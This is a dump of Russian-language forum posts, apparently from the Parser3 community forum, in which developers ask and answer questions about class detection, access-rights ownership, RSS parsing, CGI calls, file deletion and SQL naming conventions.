- с плюсом была фигня... я его очень давно стал вырезать парсером, т.к. он мешался в LIKE-е. соотв. он не доходил до sql сервера. поправил."
"55985","Простой наверно вопрос. В поиске порылся, ничего интересного нет.\
В голову приходят два варианта. \
Создать экземпляр класса и...\
[code]@CLASS\
myClass\
@create[]\
...\
\
$obj[^myClass::create[]]\
^if(def $obj && $obj is myClass){....}[/code]\
\
можно в классе определять какую-то уникальную статическую переменную, я так понимаю она станет доступна при подключении, и\
проверять ее\
\
[code]@CLASS\
myClass\
@auto[]\
$var(1)\
...\
\
^if(def $myClass:var){...}[/code]\
\
Есть еще подварианты с try/throw,\
но хочется чего то полаконичней и без создания обьекта, типа\
\
[code]^if(def $myClass){...} [/code]\
\
(такое не работает)\
\
\
Вопрос - как?"
"55987","если на виртуальный хостинг дали выделенный IP адрес обратитесь по нему к сайту \
IMHO DNS тут вообще не причем...\
\
А что при запросе какой нибудь htmlки (не парсеровской) выдает сайт...."
"55988","Александр, извините, что напоминаю, но хотелось бы знать, есть ли какой прогресс вот по [url=\"http://www.parser.ru/forum/?id=51720\"]этой[/url] теме?\
\
P.P.S\
в предыдущем вопросе идеальное решение было бы конечно по аналогии с методами:\
\
[code]^if($myMethod is junction){...} &&\
^if($myClass is class){...}[/code]"
"55990","все работает"
"55991","Добавил возможность использования настроек в веб-сервисе Типографа.\
\
Пример использования:\
[code]\
<form method=\"post\">\
	^if(def $form:text){\
		$file[^file::load[text;http://www.typograf.ru/webservice/;\
				$.charset[windows-1251]\
				$.method[POST]\
				$.form[\
					$.text[$form:text]\
					$.xml[<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
						<preferences>\
							<!-- Теги -->\
							<tags delete=\"0\">1</tags>\
							<!-- Абзацы -->\
							<paragraph insert=\"1\">\
								<start><![CDATA[<p>]]></start>\
								<end><![CDATA[</p>]]></end>\
							</paragraph>\
							<!-- Переводы строк -->\
							<newline insert=\"1\"><![CDATA[<br />]]></newline>\
							<!-- DOS текст -->\
							<dos-text delete=\"0\" />\
							<!-- Неразрывные конструкции -->\
							<nowraped insert=\"1\" nonbsp=\"0\" length=\"0\">\
								<start><![CDATA[<nobr>]]></start>\
								<end><![CDATA[</nobr>]]></end>\
							</nowraped>\
							<!-- Висячая пунктуация -->\
							<hanging-punct insert=\"0\" />\
							<!-- Удалять висячие строки -->\
							<hanging-line delete=\"1\" />\
							<!-- Символ минус -->\
							<minus-sign><![CDATA[&ndash^;]]></minus-sign>\
							<!-- Вывод символов 0 - буквами 1 - числами -->\
							<symbols type=\"0\" />\
						</preferences>\
					]\
				]\
			]\
		]\
	}\
	<textarea name=\"text\" rows=\"5\" style=\"width: 50%\">^if(def $file.text){$file.text}</textarea>\
	<br />\
	<input type=\"submit\" value=\"типографировать\" style=\"margin-top: 0.5em\" />\
</form>\
[/code]\
\
Расшифровка настроек:\
[b]tags[/b] (теги) - значения: 0 - не расставлять; 1 - расставлять. Атрибут delete - значения: 0 - не удалять; 1 - удалять до типографирования; 2 - удалять после типографирования.\
[b]paragraph[/b] (параграфы) - атрибут insert: 1 - ставить; 0 - не ставить. start/end теги задают внешний вид обрамления параграфа, начальные и конечные теги соответственно (могут быть пустыми).\
[b]newline[/b] - перевод строки. Атрибут insert: 1 - ставить; 0 - не ставить. Внутри тега пишутся теги перевода строки.\
[b]dos-text[/b] - удаляет одинарные переводы строк и переносы. Атрибут delete: 0 - не удалять; 1 - удалять.\
[b]nowraped[/b] - неразрывные конструкции. Атрибут insert: 1 - ставить; 0 - не ставить. Атрибут nonbsp: 0 - не использовать неразрывные конструкции вместо &nbsp; (неразрывного пробела); 1 - наоборот. Атрибут length: не объединять в неразрывные конструкции слова, написанные через дефис, с общей длинной больше N знаков. Если 0 то не используется. start/end аналогично параграфам.\
[b]hanging-punct[/b] - висячая пунктуация. Атрибут insert: 1 - использовать; 0 - не использовать.\
[b]hanging-line[/b] - висячие строки. Атрибут delete: 1 - удалять; 0 - не удалять.\
[b]minus-sign[/b] - указывает какой символ использовать вместо знака минус: &ndash; или &minus;.\
[b]symbols[/b] - как выводить типографированный текст. Атрибут type: 0 - буквенными символами (&nbsp;); 1 - числовыми (&#160;).\
\
Настройки можно ставить в любом порядке. Количество настроек можно сокращать и использовать только необходимые, остальные настройки будут браться [url=\"http://www.typograf.ru/preferences/\"]по-умолчанию[/url].\
\
P.S. пока запущено в тестовом режиме, комментарии приветствуются. http://www.typograf.ru"
"55992","есть глобальных хеш в котором регистрируются все классы которые подключились.\
\
например\
\
[code]\
@CLASS\
People\
\
@auto[]\
^included[People]\
\
\
common.p\
\
@included[className]\
$classesIncluded.[$className][1]\
\
@isIncluded[className]\
$result(^if(def $classesIncluded.[$className]){1}{0})\
[/code]"
"55993","usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime]\
Что это означает? Что может быть не правильно, вроде переменную пути к классам определил в auto.p. И что интересно, я указываю:\
#####\
@USE\
/auth.p\
...\
#####\
а он показывает C:/inet/auth.p..., когда файл лежит в C:/inetpub/www/auth.p???"
"55994","http://doci.nnm.ru/el_books/02.10.2006/sovershennyj_kod/\
\
P.S. сообщение скоро удалю\
P.P.S. там в комментариях аватар [url=\"http://users.nnm.ru/WAR/\"]одного учаснега[/url] мне что-то напоминает:"
"55995","http://www.parser.ru/faq/errors/\
http://www.parser.ru/docs/lang/?opuse.htm"
"55998","Разжился ещё недавно книженцией \"Ajax в действии\", но углубиться пока не получается..."
"56000","Разве что для изучения общих фраз и принципов."
"56001","Может это самый тупой вопрос, но всё же, кто такой овнер? Понятно, что владелец объектов. Но не понятно для чего это. Группы - это ясно... права к ним применяещь и всё... А вот овнеры. зачем они нужны?\
\
ps: знаю, что поиск рулит, но ответа на этот вопрос я не нашел."
"56002","Пользователь, который создает объект становится его владельцем и имеет все права над этим объектом.\
\
Или я вопрос не понял?"
"56003","Тогда как создать объект?\
Или это я уже должен прописывать в своих кодах, которые к классу не относятся?\
Просто я не до конца понял, как класс работает... можно я подведу итоги, которые я понял.?.. а, по возможности, Вы меня поправите и покажите мне не понятные моменты....\
\
1) auser - таблица с пользователями, группами, овнерами... - это понятно\
2) auser_to_auser - дерево, в котором прописаны, где находится пользователь (в каких группах, и овнерах)\
   а) можно ли тут создавать подгруппы. В таблице это можно сделать, но в самом классе это есть? Вернее, учитывается ли это.\
   б) и ещё, зачем там права? Ведь у нас есть права в группе...\
3) asession - тут всё ясно... сессии пользователей.\
4) aevent_log - в принципе ясно. но не понятны столбцы\
   а) aevent_log.stat - у меня тут всегда нули.\
   б) aevent_log.content - (IP - ясно):(NULL - что здесь должно быть?)\
5) acl - права юзера на объект.\
\
ещё вопрос по методу @getRightsToObject...\
в исходнике написано @getRightsToObject[object;thread;acl;[b]is_owner[/b]] Ни где я не нашел, как используется is_owner.\
\
Заранее благодарю за ответ..."
"56004","Объекты создаете вы сами в своем коде исходя из данных, с которыми залогинен пользователь. К классу авторизации создание объектов никак не отновится.\
\
Права могут быть у группы пользователей, у пользователя и в связке пользователя к группе. Зачем это надо: можно одному из пользователей в группе изменить права без создания дополнительной группы.\
\
Там же, в исходнике, в методе @getRightsToObject[] и используется флаг $is_owner:\
\
[code]\
^rem{ *** добавляем его права как owner-а, если установлен флаг $is_owner *** }\
^if($is_owner){\
	$level_owner_acl[^acl.owner.select($acl.owner.object_id == $object.id)]\
	^level_owner_acl.menu{$level_rights($level_rights | $level_owner_acl.rights)}\
}\
[/code]"
"56005","По поводу $is_owner, это в коде я видел, но не понял для чего оно нужно... Т.е. по $is_owner нужно сначала узнать, является ли он создателем, а только потом туда запихивать.\
Я то думал, что при вызове @getRightsToObject[] должно само определяться овнер он или нет, а потом если овнер, то выдавать в результате \"склееные\" права ($level_rights | $level_owner_acl.rights).\
\
В принципе, как я понимаю флаг этот не обязательный... просто мне не понятно, почему при создании объекта нельзя присвоить для пользователя права к этому объекту? Чтоб не создавать - что это овнер такого-то объекта.\
\
Ну например я представляю алгоритм создания чего-либо так:\
Создаю (тему, тред и т.д.)\
Создаю объект, например object_id=1, auser_id=3, rights=(0-без изменения прав, или допустим 1-может редактировать)\
\
Зачем мне тогда создавать, что он овнер этого объекта? Тем более, в какой таблице задавать, что юзер овнер такого-то объекта? Или это делается (если это форум) в таблице с темой форума?\
\
Просто зачем эти овнеры? Ну допустим юзер находится у меня в овнерах (auser: auser_id=1 - овнер, auser_id=3 - Юзер; auser_to_auser: auser_id=3,parent_id=1,rights=0)\
а зачем? зачем ЭТИ овнеры, если есть группы?"
"56006","Здравствуйте.\
\
Вобще об xml и все, что с ним связано имею довольно посредственное представление.\
\
Так исторически сложилось :), что мне проще разбираться в чемто новом не чисто по доками а пример+документация...\
\
Немогли бы вы набросать простой примерчик.\
Допустим есть вот такой rss поток\
http://www.artlebedev.ru/kovodstvo/kovodstvo.rdf\
\
Задача - парсером сгенерировать нормальный html. \
\
Заранее спасибо :)"
"56007","Owner — владелец объекта. Например на этом форуме вы можете редактировать только свои сообщения, т.к. являетесь их owner-ом. А пользователь, находящийся в группе «модераторы» имеет определенные права над всеми сообщениями (т.е. объектами). Класс авторизации является лишь кирпичиком в общей системе, он не хранит связок объектов с пользователями. Например при добавлении сообщения в форум в базу данных добавляется запись, у которой есть какие-то свои поля, ID и auser_id. Далее при выводе сообщения мы смотрим, равен ли auser_id выбранного сообщения ID залогиненного пользователя и если равен — передаем в метод @getRightsToObject[] флаг $is_owner.\
\
[code]\
# Что-то вроде:\
^auth.getRightsToObjects[object;thread;acl]($auser_id == $auth.user.user_id)\
[/code]\
\
Ну и, конечно же, если прав хватает на редактирование сообщения, то рисуем кнопочку «редактировать» :)"
"56008","Доки на сайте есть, примеров тоже полно.\
За вас код писать никто не будет."
"56009","Ну с этим то я уже понял. Просто не понятно, зачем овнеры в таблице auser? Ведь я проверяю на овнер или нет сравнивая auser_id в созданном сообщении с auser_id в таблице auser.\
\
Т.е. мне не понятен столбец auser.auser_type_id со значением 2. 0 - Юзер, 1- Группа, 2- овнер. Я понимаю, что 2 можно не использовать, но может под этим глубокий смысл... ;)"
"56012","... дальше рассказывать? :)"
"56013","Мы можем пользователя из этого интерфейса сделать Owner-ом какого-то объекта, назначив ему права по шаблону, взяв их из группы Owner-ов? Ведь мы же не можем ему установить group_id равным ID группы Owner-ов.\
\
Правильно понимаю?"
"56014","... выведем их с помощью menu и для каждой покажем стандартный наборчик чекбоксов для выдачи прав :)\
\
+ сами выданные права owner-у на объект будут храниться в том-же месте где и права выданные пользовалетю/группе, а именно: таблице acl. пользователь/группа/owner/... - есть сущность которой можно дать права на объект. точка. что будут делать с правами дальше - другой вопрос.\
\
пользователя сделать owner-ом - эта задача стоит за рамками класса. что такое \"группы Owner-ов\" я не понял."
"56015","имется в виду права строятся по принципу...?\
\
[code]\
+owner1\
| +--группа1\
| |       +--User1\
| |       +--User2\
| |       +--User3\
| +--группа2\
|         +--User4\
|         +--User5\
|         +--User6\
+owner2\
  +--группа3\
  |       +--User7\
  |       +--User8\
  +--группа4\
          +--User9\
[/code]\
\
А вкладывать группу одну в другую нельзя?\
т.е. так:\
[code]\
+группа6\
| +--группа1\
| |       +--User1\
| |       +--User2\
| |       +--User3\
| +--группа2\
|         +--User4\
|         +--User5\
|         +--User6\
+Группа5\
  +--группа3\
  |       +--User7\
  |       +--User8\
  +--группа4\
          +--User9\
[/code]\
\
Или я опять путаю?"
"56016","[quot]пользователь/группа/owner/... - есть сущность которой можно дать права на объект. точка.[/quot]\
\
можете заменить слова \"пользователь/группа/owner\" на любые другие, и добавить что угодно.\
\
вкладывайте наздоровье, только перепишите метод считающий права. группа - это не контейнер, содержащий несколько пользователей. это - список пользователей. один пользователь может быть в нескольких списках одновременно.\
\
owner - это не контейнер чего-либо."
"56018","... И как сделать так, чтобы он обрабатывался, ошибок в нем нет вроде."
"56019","В доках там все очень поверхностно.\
....\
\
Подробно читайте здесь и здесь.....\
А там не понашему...\
\
Как устроит перебор этих элементов я непойму.\
Ненадо писать весь код хотябы этот кусочек."
"56020","Вообще сформулируем задачу подругому.\
\
Есть вот такой кусок.\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<!DOCTYPE rss PUBLIC \"-//Netscape Communications//DTD RSS 0.91//EN\"\
\"http://my.netscape.com/publish/formats/rss-0.91.dtd\">\
<rss version=\"0.91\">\
 <channel>\
  <title>Електроннi Вiстi</title>\
  <language>ru</language>\
  <image>\
<url>http://elvisti.com/images/export/elvisticom3_88x31.gif</url>\
  <link>http://elvisti.com</link>\
  <width>88</width>\
  <height>31</height>\
  </image>\
\
  <item>\
  <title>АДМИНИСТРАЦИЯ США УВЕЛИЧИВАЕТ ПОМОЩЬ ПОСТСОВЕТСКИМ СТРАНАМ ЦЕНТРАЛЬНОЙ АЗИИ</title>\
  <description>США наращивают помощь странам Центральной Азии. В свете развернувшейся в последние годы борьбы с международным терроризмом отношениям именно с этими государствами в Вашингтоне придают особое значение. </description>\
  <link>http://elvisti.com/2003/03/28/biz.shtml</link>\
  </item>\
\
  <item>\
  <title>ПУШКУ ВРЕМЕН НАПОЛЕОНА НАШЛИ В ИЗРАИЛЕ</title>\
  <description>Пушка, датированная наполеоновскими временами, была обнаружена израильскими археологами при раскопках в районе рыночной площади старого Яффо. Орудие было найдено под дорогой, которою построили британцы в так называемый период Мандата. </description>\
  <link>http://elvisti.com/2003/03/28/sci-tech.shtml#2</link>\
  </item>\
\
  <item>\
  <title>В КИТАЕ ПОЯВИТСЯ ПЕРВЫЙ ТЕХНОПАРК ПО ОСВОЕНИЮ НАНОТЕХНОЛОГИЙ</title>\
  <description>В городе Сиане, административном центре провинции Шэньси, началось строительство первого в Китае технопарка по освоению нанотехнологий. Технопарк будет занимать около 66 га. </description>\
  <link>http://elvisti.com/2003/03/28/sci-tech.shtml#2</link>\
  </item>\
\
 </channel>\
</rss>\
[/code]\
\
Задача.\
Просто пролистать все <item> и напечатать их без какого либо форматирования....."
"56021","Можно сделать через XSLT\
<xsl:for-each........"
"56025","На мой взгляд \"Рефакторинг\" несет в себе куда меньше шума,\
Ну и уж обязательно надо упоминуть о недавно вышедшем переводном издании Джоэля Спольски (joelonsoftware.com) \"Джоэль о программировании\""
"56026","что плохого-то?\
http://design.ru/auto.p\
и увидите то же самое в логе и forbidden на экране.\
\
расскажите подробно: что делаете и что ожидаете."
"56027","с грустью. замотан.\
эта мелочь стоит в todo.\
буду рад, если кто пришлёт готовое. это прекрасное упражнение на грамматику."
"56029","дойдите до книжного и купите, если не справляетесь с поиском в интернете, или информация плохо воспринимается с экрана."
"56030","<!--#include virtual=\"/cgi-bin/bsdccshow.pl?1\" -->\
\
Парсер, как понимаю, не передает управление обработчику SSI, как такое заставить работать?"
"56031","http://www.parser.ru/docs/lang/filecgiexec.htm"
"56032","Если переключиться на закладку \"веб страница\" и ввести туда адрес, а потом не нажимая кнопку \"submit\" переключиться на \"текст\" и там что-нить ввести - то проверять все-равно будет веб страницу ;-/\
\
PS. Ночным кодерам тоже нужно спать ^___^"
"56033","Ну вот сделал так\
$script[^file::exec[/cgi-bin/bsdccshow.pl;1]]\
$script.text\
\
Ничего не показывает. Должно выводить одно просое число."
"56034","Это практически мой второй вариант, очень похоже. в вашем варианте мне не нравится то, что самому классу требуется, чтобы метод included был определен на момент подключения класса, тогда как задание переменной ничего от обвязки не требует, т.е. если по моему, то:\
[code]@CLASS\
myClass\
@auto[]\
$defined(1)\
\
@isDefined[className]\
$result(^if($className:defined){1}{0})\
[/code]\
хотя использование последнего метода практически теряет смысл, ибо строки по сложности понимания не сильно различаются:\
[code]^if(^isDefined[myClass]){...}{...}[/code] ||\
[code]^if($className:defined){...}{...}\
[/code]\
\
У меня не достаточно практического опыта, чтобы понять как удобнее и/или правильнее и почему, может кто-нибудь выскажется :)\
\
P.S. щас подумалось, что если вместо $defined(1), написать $MAIN:myClass(1), то должно работать так: ^if($myClass){...}{...}\
\
Это то, чего и хотелось... пошел проверять (хотя переменная с именем класса... хмм.)\
\
\
P.P.S.\
Проверил, [b]работает[/b]:\
\
myClass.p\
[code]@CLASS\
myClass\
@auto[]\
$MAIN:myClass(1)\
....\
[/code]\
index.html\
\
[code]\
@main[]\
^if($myClass){YES}{NO}[/code]\
выдает YES\
\
Осталось только понять, насколько это правильно, и нет ли (или не будет возможно) тут подводных камешков"
"56036","[code]\
$script[^file::exec[/cgi-bin/bsdccshow.pl;;1]]\
$script.text\
[/code]"
"56037","у автора '1' ожидается скриптом в query string, а не как первый параметр.\
поэтому или в лоб [...?1] или [...;$.QUERY_STRING[1]]"
"56039","сабж.\
есть проблема описанная выше - ругается что не определен метод show.\
на самом деле это не метод на поле хеша\
\
вот кусок кода:\
\
[code]\
@shTreeLevel[id;leveldata]\
^leveldata.menu{\
	$title[^data.$LevelNum.show[$leveldata]]\
	^NodeNum.inc[]\
	^LevelNum.inc[]\
	^if($data.$LevelNum){\
#		собираем аргументы в хеш		\
и т.д.\
[/code]\
\
ругается на show в строке $title[^data.$LevelNum.show[$leveldata]]\
\
я посмотрел что идет в $LevelNum  - число. значит все ок.\
data вводится из следующиего куска:\
\
[code]\
^shTree[$Id;\
	$.N[\
		$.junction[$getTopics]\
		$.args[id]\
		$.show[$shTopicItem]\
		$.current[$.id[$getCurrentValue]]\
	]\
]\
[/code]\
\
$shTopicItem вводится лишь как-то так:\
\
[code]\
# функции вывода элементов дерева\
@shTopicItem[values]\
$values.title\
[/code]\
что откуда тут берется я так толком понять немогу (говорю про последний код)\
\
перекопал уже все доки ни один раз.\
\
кроме того на в исходном хеше data он ругается и на строку вида\
^data._count[]\
про _count тоже говорит - неизвестный метод.\
\
помогите плиз или направьте хотя бы...\
\
код это старый - 2003-го года.\
проблема появилась после перехода с парсера 3,0007 на 3,1,4\
сейчас стоит последний 3,2,1\
\
заранее спасибо"
"56040","это: ^data.$LevelNum.show[$leveldata] все таки вызов метода. в поле хеша show кладется junction, т.е. указатель на код (в вашем случае не метод).\
\
если он помещается в хеш именно так, как вы привели: $.show[$shTopicItem], и метод @shTopicItem[] определен, то возможно что проблема в том, что в хеше data нет элемента с запрошеным номером. в этом случае $data.$LevelNum вернет void, $data.$LevelNum.show тоже вернет void, и парсер возмутится, т.к. его просят вызвать метод, который указывает в никуда.\
\
для диагностики ошибки перед $title[...] напишите:\
[code]^if(!def $data.$LevelNum){\
	^throw[assert;Element $LevelNum not defined.]\
}[/code]\
\
так вы увидите какой элемент у вас некорректный. обнаружив это будуте разбираться кто и в какой момент помещает в хеш такой элемент.\
\
[quot]\
кроме того на в исходном хеше data он ругается и на строку вида\
^data._count[]\
про _count тоже говорит - неизвестный метод.\
[/quot]\
\
это означает что $dana - не хеш. точка.\
возможно $data вормируется так:\
[code]\
$data[\
	^if(условия){\
		$.элемент[значение]\
	}\
]\
[/code]\
\
т.е. условие внутри всегда ложно и в $data оказывается... строка из нескольких пробельных символов.\
\
вы можете создать там хеш насильно $data[^hash::create[]] и добавить элементы с помощью .add.\
\
однако вы говорите что ошибка появилась после перехода на новую версию парсера, поэтому нужно продолжать искать. круг уже сузился - у вас неверно формируется хеш $data. ищите проблему в коде его формирования."
"56041","сейчас еще раз все внимательно поизучал.. получилось вот что.\
похоже действительно не правильно формируется хеш data\
\
в каком месте возникает ошибка - я написал, но до этого есть еще вот что:\
[code]\
@shTree[id;data]\
<script type=\"text/javascript\">\
  function displaySubTree(num, level, hide)\
  {\
    var el = document.all[\"subtree_\" + num];\
    var img = document.all[\"bullet_\" + num];\
    if (el.style.display == \"none\") el.style.display = \"block\"; else el.style.display = \"none\";\
    img.src = \"/img$Site:LangImagePrfix/admin/b_\" + level + ((el.style.display == \"none\")?\"_off\":\"_on\") + hide + \".gif\";\
  }\
</script>\
\
$LevelNum(1)\
$NodeNum(0)\
^if($data.N){\
	^shTreeLevelN[$id;^data.N.junction[]]\
}{\
	^shTreeLevel[$id;^data.$LevelNum.junction[]]\
}\
\
\
@shTreeLevel[id;leveldata]\
^leveldata.menu{\
#	^throw[a;=$leveldata=] \
	$title[^data.$LevelNum.show[$leveldata]]\
	^NodeNum.inc[]\
	^LevelNum.inc[]\
и т.д.\
[/code]\
\
т.е. data я получаю в shTree, а затем в shTreeLevel передаю тот же data, но лишь одно поле из него: junction.\
\
если я вас правильно понял:\
[quote]это: ^data.$LevelNum.show[$leveldata] все таки вызов метода. в поле хеша show кладется junction, т.е. указатель на код (в вашем случае не метод).\
[/quote]\
получается что то что написано тут (создание хеша и заполнение поля show):\
[code]\
^if(def $Types){\
	^shTree[^if($IdPresent){$Id};\
		$.1[\
			$.junction[$getTypes]\
			$.show[$shTypeItem]\
		]\
		$.2[\
			$.junction[$getYears] ^rem{ функция получения данных для соответствующего уровня}\
			$.args[id]						^rem{ параметры функции, описанной выше }\
			$.show[$shYearItem]		^rem{ функция вывода текста элемента дерева }\
			$.current[$.id[$CurVal.type]]		^rem{ значение аргументов для текущего (выделенного пользователем) узла }\
		]\
		$.3[\
			$.junction[$getMonths]\
			$.args[type,year]\
			$.show[$shMonthItem]\
  	  $.current[$.type[$CurVal.type] $.year[$CurVal.year]]\
		]\
		$.4[\
			$.junction[$getNewsHeads] ^rem{ на последнем уровне у этой функции всегда должно быть в результате поле id }\
			$.args[type,year,month]\
			$.show[$shNewsItem]\
	    $.current[$.type[$CurVal.type] $.year[$CurVal.year] $.month[$CurVal.month]]\
		]\
	]\
}{\
	^shTree[^if($IdPresent){$Id};\
		$.1[\
			$.junction[$getYears]\
			$.show[$shYearItem]\
		]\
		$.2[\
			$.junction[$getMonths]\
			$.args[year]\
			$.show[$shMonthItem]\
  	  $.current[$.year[$CurVal.year]]\
		]\
		$.3[\
			$.junction[$getNewsHeads] ^rem{ на последнем уровне у этой функции всегда должно быть в результате поле id }\
			$.args[year,month]\
			$.show[$shNewsItem]\
	    $.current[$.year[$CurVal.year] $.month[$CurVal.month]]\
		]\
	]\
}\
\
[/code]\
\
ненужно? \
или я непонимаю какой-то логики?\
\
и вот что меня удивляет.\
значит парсер когда вызывается shLeveTree проглатывает то что у него есть в data.LevelNum.junction[], а когда нужно вызвать show - он ругается.\
непойму :("
"56043","Не могу быть уверенным, но ситуация выглядит так:\
Скрипт 1 выполняет некоторый SELECT из таблицы, если в это же время скрипт 2 попробует сделать SELECT из этой же таблицы, он ничего не получит (!def). Как такое может быть? Может это особенность парсера?....\
\
Если кому интересно, могу обрисовать ситуацию более подробно. Скрипт 1 сделал UPDATE, затем я сразу же делаю SELECT - проверяю, апдейт прошел нормально, тут вдруг скрипт 2 начинает делать свой селект к этой же таблице, в это время первый скрипт повторяет тот же селект (которым я проверял, что все нормально) и не получает ничего! То есть: либо селект второго скрипта сбил апдейт первого (что нелогично), либо что-то отказало в получении..."
"56044","можно пытаться в нем разбираться, но... оно вам надо? вам-же надо найти и исправить ошибку, а не понять как все работает...\
\
поэтому лучше вам расставлять assert-ы, чтобы поймать в какой момент (при каких условиях) падает.\
\
пляшите от ошибки: добавляйте как я и предложил ^throw[assert;и выводите тут информацию которая поможет вам понять момент падения]\
\
хотя я уже понял почему падает:\
\
@shTree[id;data] - определен метод с именем shTree и 2 входными переменными. эти переменные являются _локальными_, т.е. они _не_ доступны из других методов.\
\
из этого метода вызывается метод shTreeLevel, который в свою очередь имеет 2 входняе переменные (тоже локальные): id и leveldata\
\
но внутри этого метода происходит обращение к переменной $data. в этом же методе такой переменной _нет_, т.к. она объявлена локальной в другом методе (хотя возможно где-то есть код, который создает глобальную $data, но тут этого не видно).\
\
что было с видимостью переменных в предыдущих версиях я не очень помню, но вот тупой workaround:\
[code]@shTree[id;_data]\
$data[$_data]\
\
...дальше как было...[/code]\
\
так вы сделаете входной переменной переменную $_data, и в первой же строчке метода перепишите её значение в глобальную переменную $data (у парсера переменные глобальны, пока не сказано иное, но вы ведь не скажете этого?). соотв. глобальная $data будет видна внутри метода shTreeLevel.\
\
удачи.\
\
\
[quot]\
получается что то что написано тут (создание хеша и заполнение поля show):\
...\
ненужно? \
или я непонимаю какой-то логики?\
[/quot]\
\
нужно. каждый элемент в хеше $data содержит информацию о том, как достать и как вывести данные (под как достать и как вывести подразумеваю то, что он знает какой метод нужно вызвать для того и другого действия. это знание == хранение junction. не думаю что тут это оправдано, но тем не менее.)"
"56045","Ура есть сдвиги\
но выводит - Content-type: text/html 2\
вместо просто - 2\
\
$script[^file::exec[/cgi-bin/bsdccshow.pl;$.QUERY_STRING[1]]]\
$script.text\
\
А как теперь двойку одну оставить?"
"56048","еще раз повторюсь просто ОГРОМНОЕ Вам спасибо за помощь!\
пожалуй сам бы я никогда не догадался бы :)"
"56049","сабж. про исправления видимости переменных не нашел. \
видно это не отражалось в изменениях новых версий."
"56050","Существуетли альтернатива\
\
$str[$a.b]\
^str.trim[]\
\
Тоесть можноли это сделать без переменной $str ?"
"56051","Извиняюсь заранее за все и за всех. Только не говорите RTFM: все равно не нашел. Как удалить при помощи парсера директорию со всем содержимым?"
"56053","2. запустить внешний скрипт который сделает это"
"56054","Через скрипт, понятное дело, можно.\
А командами парсера? В документации есть ^file:delete[story.txt]. А если много файлов в данной директории? Не удалять же каждый поотдельности. Было бы что-нибудь типа ^file:delete[*.txt]"
"56055","почему этого нету? \
потому что писать на парсер file manager или работать с огромным количеством файлов с нашей точки зрения есть плохая идея."
"56056","Ладно спасибо, поизучаю документацию. Извиняюсь ещё раз, если задаю глупые вопросы. Я ж не компьютерщик, просто Parser показался подходящим для презентации одого научного проекта"
"56058","Может у кого есть пример формы, которая позволяет добавлять ссылки на сайте?"
"56059","локальная переменная метода A внутри метода B не видна была никогда.\
\
в языке есть некоторая поддержка вложенных методов, см. $caller."
"56060","и второй вопрос уйдёт.\
первый вопрос сформулирован некорректно, возможно, он уйдёт тоже."
"56062","Спасибо!\
\
$tFileList[^file:list[/saved/waves/]]\
^tFileList.menu{\
^file:delete[tFileList.name]\
}"
"56063","- не обходит подкаталоги\
- ^file:delete[tFileList.name] - пытается удалить файл с именем 'tFileList.name'. если поставить вначале '$', то будет пытаться удалить файл не в указанном, а в текущем каталоге."
"56065","Вопрос в чем-то философский =)\
\
Стоит ли использовать префиксы в названиях полей sql таблиц, например если таблица photos, то поля в ней ph_id, ph_title, ph_about итп.\
\
Это в чем-то улучшает читаемость кода при некоторых выборках, делает поля таблиц уникальными для всей БД, правда при этом \"засоряя\" sql-запросы повторяющимися префиксами.\
\
Как думаете?"
"56066","При попытке отправить сообщение с сайта возникате ошибка, например: 'send' '/usr/sbin/sendmail' reported problem: exim: bad -f address \"А.А.\": domain is malformed (trailing dot not allowed)| (1) [email.send]\
\
Происходит при использовании \".\" в поле для имени отправителя. Что интересно: если в поле для имени вписать А.А. - вылетит ошибка, а если символов больше, например Григорьев А.А. - отправка произойдёт."
"56068","Ведь мы выбираем данные в переменную, которую называем понятным образом. Например:\
\
[code]\
$tPhotos[^oSQL.table{\
	SELECT\
		photo_id AS id,\
		dt_published,\
		title,\
		comment,\
		src\
	FROM\
		photos\
}]\
[/code]\
\
И потом соответствующим образом обращаемся к полям этой переменной:\
\
[code]\
<ul>\
	^tPhotos.menu{\
		<li><a href=\"$tPhotos.id\">$tPhotos.title</a></li>\
	}\
</ul>\
[/code]"
"56069","Лаборатория тестов Евгения Спиранского:\
[url=\"http://spearance.ru/parser3/deleteallfiles/\"]Удаление всех файлов из указанной папки[/url]"
"56070","Я так и не нашел какая панель управления у вас на хостинге, но для начала вам надо создать БД и добавить туда пользователя, а потом подключение к базе данных должно быть очень простым:\
[code]\
$SQL.connect-string[mysql://Имя_пользователя_БД:Пароль@localhost/название_БД]\
[/code]"
"56071","уже давно, но периодически так и подмывает ненужный префикс воткнуть."
"56072","[url=\"http://www.parser.ru/forum/?id=56068\"]Re: Чересчур[url]\
\
В чем я там не прав?"
"56073","единственное место, где я это делаю - primary key (article.article_id). причина - в таком случае reverse engeneering средствами PowerDesigner сам связывает таблицы по столбцу даже при отсутствии foreighn keys (если увидит таблица.article_id, то добавит reference на article.article_id если последняя - PK)"
"56074","Смогу ли я по документации, не зная XML'а и зная о базах данных только то, что это таблицы, на parser'е сделать форум подобный этому и/или блог с регистрацией для писателей (авторов) и профайловой страничкой для каждого пользователя (писателя/автора)?Чтоб когда всё рухнет, базу можно было бы передать профи и они смастерили бы что-то понадежнее и инфа вся осталась бы? Или чтоб редизайн мог сделть жесткий без потерь и с добавками? Это уже наверное относится к норме при работе с базами данных...?\
Хорошо ли оно бует защищено от хакеров-шмакеров?\
\
Смогу ведь? (я способный :) Ну пожалуйста..."
"56075","Может его местоположение не верно указано? У меня этот файл лежит рядом с parser3isapi.dll. Это правильно?\
Запускаю тест, а он не может определить $CHARSETS, $SQL-драйвера и  document-root.\
Что еще можно сделать?"
"56076","Да, в HTML'е я нормально разбираюсь, не проф.конечно, но могу и точно смогу разобраться, если что. :)"
"56078","ежели надо выбрать из нескольких таблиц?\
например - фото, автор фото, компания, в которой работает автор (немсколько притянуто, но все же) и еще чего-нибудь.\
Уже, как минимум 3 айди (автор, фото, компания) и два нейма (автор и компания). можно, конечно все через псевдонимы, но так проще и есть не просит. Хоть и масляное масло."
"56079","Дж. Селко\
\"Стиль программирования Джо Селко на SQL\"\
\
http://www.books.ru/shop/books/394821"
"56080","Хватит ли мне документации parser'а? Там есть информация как работать с базами и формами там (очень грубо говоря, как написать форум :\\)?.. \
.\
Да я так понимаю что есть там всё (залез и посмотрел :) и смогу, ну постараюсь...\
Я правильно понял? \
:)"
"56081","Мне кажется, что если БД Вам помогут сделать те самые профи, то парсерную часть Вы сможете написать. И в будущем, когда \"все рухнет\", профи будут рады получить ту базу, которую они сами спроектировали, а парсерная часть им не понадобиться.\
Парсер освоить не сложно, а вот правильно спроектировать БД - тут знание уже нужно."
"56082","Спасибо, кое-что начал понимать...\
